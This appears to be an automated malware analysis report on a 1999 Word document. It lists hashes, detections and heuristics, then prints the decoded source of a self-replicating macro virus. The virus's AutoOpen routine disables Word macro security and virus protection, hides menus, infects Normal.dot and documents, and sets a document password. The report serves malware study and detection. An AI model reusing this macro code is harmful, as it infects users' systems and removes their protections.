Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 9e4657d3c1731b2c…

MALICIOUS

Office (OLE)

34.5 KB Created: 1999-03-23 18:50:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: 590fdd12131de8b7ee70d98a48789597 SHA-1: 1c68d819380a556d3e85dea511880c5a78958724 SHA-256: 9e4657d3c1731b2c8532e65e97b47bf6b218b42f5090e0655dc889cec32db230
240 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

This OLE file contains legacy WordBasic and VBA macros, including AutoOpen and AutoClose routines, which are indicative of malicious intent. The script attempts to modify security settings and displays messages to the user, likely as a distraction or to build trust. The presence of ClamAV detections for 'Win.Trojan.Psycho-3' and 'Win.Trojan.wmvg-1' further confirms its malicious nature, suggesting it acts as a downloader for other malware.

Heuristics 5

  • ClamAV: Win.Trojan.Psycho-3 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Win.Trojan.Psycho-3
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Auto_Close macro high OLE_VBA_AUTOCLOSE
    Auto_Close macro
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 11432 bytes
SHA-256: 5af6f76bec385e4f005062026659fdd3e23895aa7d93fcecb466b3cf11032798
Detection
ClamAV: Win.Trojan.wmvg-1
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub AutoOpen()
On Error Resume Next
SetAttr "c:\program files\microsoft office\templates\normal.dot", vbNormal
Application.StatusBar = True
StatusBar = "This Macro was made specially for you! You are one of the very priviledged! - [Bench]"
Application.Caption = "([Bench]MV) - A.L.T you always have a special place in my heart! I love you!"
If Month(Now) = Minute(Now) Then
Randomize: For x = 1 To 10: ActiveDocument.Shapes.AddShape(msoShapeCircles, Int(Rnd * 500), Int(Rnd * 500), Int(Rnd * 500), Int(Rnd * 500)).Select: Selection.ShapeRange.Fill.ForeColor.RGB = RGB(Int(Rnd * 255), Int(Rnd * 255), Int(Rnd * 255)): Selection.ShapeRange.Fill.Visible = msoTrue: Selection.ShapeRange.Fill.Solid: Next x
End If
If Day(Now) = Minute(Now) Then
    With Assistant.NewBalloon
        .Icon = msoIconAlert
        .Heading = "[Bench]Macro Virus (c)"
        .Text = "Hello! I'm your new Office Assistant... I got tired of waiting so I figured to say hello!" & vbCr & vbCr & "Click on me if you need any help!"
        .Animation = msoAnimationGreeting
        .Show
    End With
End If
nt = NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.CountOfLines: ad = ActiveDocument.VBProject.VBComponents.Item(1).CodeModule.CountOfLines
' Word Version Checker - Checks for Word 2000 or Word 97
    System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Word\Security", "Level") = 1&
If apllication.Version = 9# Then
    CommandBars("Macro").Controls("Security...").Enabled = False
End If
If Application.Version = 8# Then
    CommandBars("tools").Controls("Macro").Visible = False: CommandBars("tools").Controls("Customize...").Enabled = False: CommandBars("view").Controls("Toolbars").Enabled = False: CommandBars("view").Controls("Status Bar").Enabled = False
    Options.ConfirmConversions = False: Options.SaveNormalPrompt = False: Options.VirusProtection = False: Application.EnableCancelKey = wdCancelDisabled
End If
If nt = 0 And ad = 0 Then GoTo darn:
If nt = 0 Then
NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.AddFromString ("Sub AutoClose" & vbCr & ActiveDocument.VBProject.VBComponents.Item(1).CodeModule.Lines(2, ad))
NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.ReplaceLine 39, "Sub ViewVBCode()": End If
If ad = 0 Then
ActiveDocument.VBProject.VBComponents.Item(1).CodeModule.AddFromString ("Sub AutoOpen" & vbCr & NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.Lines(2, nt))
ActiveDocument.VBProject.VBComponents.Item(1).CodeModule.ReplaceLine 39, "Sub Bench()": End If
darn:
If nt <> 0 And ad = 0 And (InStr(1, ActiveDocument.Name, "Document") = False) Then ActiveDocument.SaveAs FileName:=ActiveDocument.FullName
End Sub ' [B]MV.C Class Infection - [My first Virus! I just edited it a bit to be compatible with W2000 and W97 - Added basic stealth]
Sub Bench()
On Error Resume Next
With Assistant.NewBalloon
.Heading = "[Bench] Macro Virus"
.Icon = msoIconAlert
.Text = "Trying to get rid of me eh? Well, now you will pay!"
.Animation = msoAnimationGetAttentionMajor
End With
If (InStr(1, ActiveDocument.Name, "Document") = False) Then
ActiveDocument.SaveAs FileName:=ActiveDocument.FullName
ActiveDocument.Password = "Bench": End If
End Sub



' Processing file: /opt/analyzer/scan_staging/5bca267684ca41328f7af3094c968d94.bin
' ===============================================================================
' Module streams:
' Macros/VBA/ThisDocument - 8657 bytes
' Line #0:
' 	FuncDefn (Sub AutoOpen())
' Line #1:
' 	OnError (Resume Next) 
' Line #2:
' 	LitStr 0x0036 "c:\program files\microsoft office\templates\normal.dot"
' 	Ld vbNormal 
' 	ArgsCall SetAttr 0x0002 
' Line #3:
' 	LitVarSpecial (True)
' 	Ld Application 
' 	MemSt StatusBar 
' Line #4:
' 	LitStr 0x0055 "This Macro was made specially for you! You are one o
... (truncated)

Open this report in the interactive analyzer, or submit your own file for analysis.